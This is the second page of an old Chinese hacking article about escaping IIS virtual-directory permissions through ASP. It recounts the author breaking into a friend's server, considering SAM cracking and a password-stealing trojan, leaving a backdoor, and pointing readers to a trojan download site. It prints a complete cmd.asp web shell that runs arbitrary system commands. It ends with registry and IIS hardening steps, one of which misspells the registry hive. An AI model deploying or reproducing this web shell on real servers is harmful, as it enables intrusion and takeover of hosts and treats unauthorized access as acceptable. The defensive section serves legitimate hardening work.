详述虚拟网站的权限突破及防范
作者: 来源: 添加时间:2006-5-23 8:27:33密码到期 永不
密码可更改 2002/6/2 上午 11:49
需要密码 Yes
用户可以更改密码 Yes
允许的工作站 All
登录脚本
用户配置文件
主目录
上次登录 2002/6/2 下午 08:16
可允许的登录小时数 All
本地组会员 *Administrators
全局组成员 *None
命令成功完成。
看来administrator账号改为secretboy了。呵呵,我们可以把sam抓下来在本地机破解(我发在repair有备份),不过我觉得我朋友的密码肯定很复杂,这样可以考虑放个捕捉密码的木马上去。但是没有这个必要去做,既然是我朋友,怎么能这么做呢?
我玩了一会,就通知了他。告诉他服务器上的所有虚拟网站用户清单,而且我在他服务器上开了个后门,其端口是多少,怎么清除。他吓了一跳,赶快检查了一下,清了我的木马。然后他问了我是怎么入侵的,我告诉他是利用了虚拟空间的asp执行权限。呵呵,其实他不知道这个漏洞的原理是什么,也就不知道怎么防范它,这样我下次依然可以再进去,而且我如果记没错的话,不但是asp有此问题,php和perl语言都有相应的主页木马,在网上可以找到它们的木马程序。这里给出一份详细的主页木马下载网址:xhacker.xilubbs.com,共有5种类型的主页木马。
二.漏洞的检测
假设网管自己的iis5.0服务器里面开一个叫xhacker虚拟目录用来存放网页,支持asp。然后在xhacker虚拟空间放置我们刚才用的cmdasp.asp,cmdasp.asp在很多黑客网站都有的下载,在这公布一个cmd.asp网页代码:
<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
’ -- create the COM objects that we will be using -- ’
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
’ -- check for a command that we have posted -- ’
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
’ -- Use a poor man’s pipe ... a temp file -- ’
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<%
If (IsObject(oFile)) Then
’ -- Read the output from our command and remove the temp file -- ’
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
这样在IE运行这个asp就可以xx作服务器了。先dir c:\看看,如果看见了就说明有此漏洞,反之则没有。
三.漏洞的防范
现在我们来讨论一下怎么帮助网管防范这种漏洞。我分为两种情况分别讨论两种防范策略:
( 1 ) 我之所以能够跨越虚拟目录权限是因为上传上去的asp调用了FileSystemObject对象,从而实现了所有的命令xx作。所以,如果你确定你的网站不需要支持asp,就干脆删除asp。方法如下:
执行“internet服务管理员”———>web站点单击鼠标右键———>
“属性” ———>主目录———>配置———>把所有“asp.dll”文件存在的字段都删除,默认共有四个。这样你的iis就不能执行asp了,也就与asp服务漏洞绝缘了。
( 2 )以上的防范方法虽然又简单又安全,但对asp服务空间的提供商和asp的主页就很不合适了。我想了许多办法也参考了不少网上的资料,其中也有不少好的解决方案,但就是太复杂了。后来我发现有一种简单方法能非常好的解决这个问题:
我们只要禁止住别人调用FileSystemObject对象就可以了,对asp空间的用户来讲,也没有必要需要用到这个对象。我由此想到了注册表,是不是这个FileSystemObject对象就在注册表里?接着查找到了“HKET_CLASSES_ROOT\Scripting.FileSystemObject”键值,更改成为你定义的字符串,比如:
HKET_CLASSES_ROOT\Scripting.FileSystemObject520
这样不需要删除FileSystemObject对象又不影响asp程序的运行,而用户如果再运行那个cmd.asp木马的话,就会因为调用不到Scripting.FileSystemObject组件而无法执行命令了,同时也没有什么出错信息。但是对于有经验的入侵者就会知道这方面被网管做了防护了。
如果网管需要那个cmd.asp用来远程管理自己的站点怎么办?很简单,只要把asp代码中的
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
更改为:
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject520")
就可以调用了。
这样就只有网管才知道正确的Scripting.FileSystemObject520。同时我建议你也不要把这个对象的名字改的太简单,比如Scripting.FileSystemObject111什么的,
建议在原对象名字后面加一些无规律的字母,这样对方就猜不到了。你自己也别担心忘了这个对象的名字,因为在注册表里可以就可以看到它:)
关asp的漏洞利用就讲到这了,我相信以上这个入侵实例告诉了各位网管,也许你是下了功夫补住了许多流行的漏洞,黑客在一段时间内也没办法入侵你的服务器,但是你以后所开的服务可能潜伏着危险,有时甚至你自己在无意间也会造成新的漏洞。系统安全是不断变化着的,所以网管也要时刻注意,多注意漏洞的发布,多关注一些著名的网络安全网站。这样能在第一时间给自己的服务器打上补丁。
第 2 页,共 2 页 [1] [2]
站内搜索